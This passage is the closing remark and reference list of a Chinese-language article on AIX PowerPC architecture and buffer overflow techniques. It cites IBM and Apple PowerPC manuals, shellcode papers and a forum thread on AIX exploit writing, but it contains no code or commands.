好了,至此大家是否对AIX PowerPC的构架与其溢出技术有一些理解了?由于初次接触AIX PowerPC的东西,如有错误敬请指正,如有问题一起探讨。
参考
1、 UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes
http://lsd-pl.net/unix_assembly.html
2、 PowerPC / OS X (Darwin) Shellcode Assembly - B-r00t
3、 Assembler Language Reference
http://publib16.boulder.ibm.com/pseries/en_US/aixassem/alangref/alangreftfrm.htm
4、 PowerPC Microprocessor Family: The Programming Environments for 32-Bit Microprocessors
http://www-3.ibm.com/chips/techlib/techlib.nsf/techdocs/852569B20050FF778525699600719DF2/$file/6xx_pem.pdf
5、 OPTIMIZING PowerPC CODE - Gary Kacmarcik
6、 PowerPC 汇编
http://www-900.ibm.com/developerWorks/cn/linux/hardware/ppc/assembly/index.shtml
7、 PowerPC 体系结构开发者指南
http://www-900.ibm.com/developerWorks/cn/linux/l-powarch/index.shtml
8、 [Tips]AIX (PPC)上写exploite 1。
https://www.xfocus.net/bbs/index.php?act=ST&f=19&t=28177
9、 http://aixpdslib.seas.ucla.edu/
10、 64-bit PowerPC ELF Application Binary Interface Supplement 1.7
http://www.linuxbase.org/spec/ELF/ppc64/spec/book1.html
11、Mach-O Runtime Conventions for PowerPC
http://developer.apple.com/documentation/DeveloperTools/Conceptual/MachORuntime/2rt_powerpc_abi/chapter_9_section_1.html
12、Programmer's Introduction to PowerPC
http://physinfo-mac0.ulb.ac.be/divers_html/PowerPC_Programming_Info/intro_to_ppc/ppc0_index.html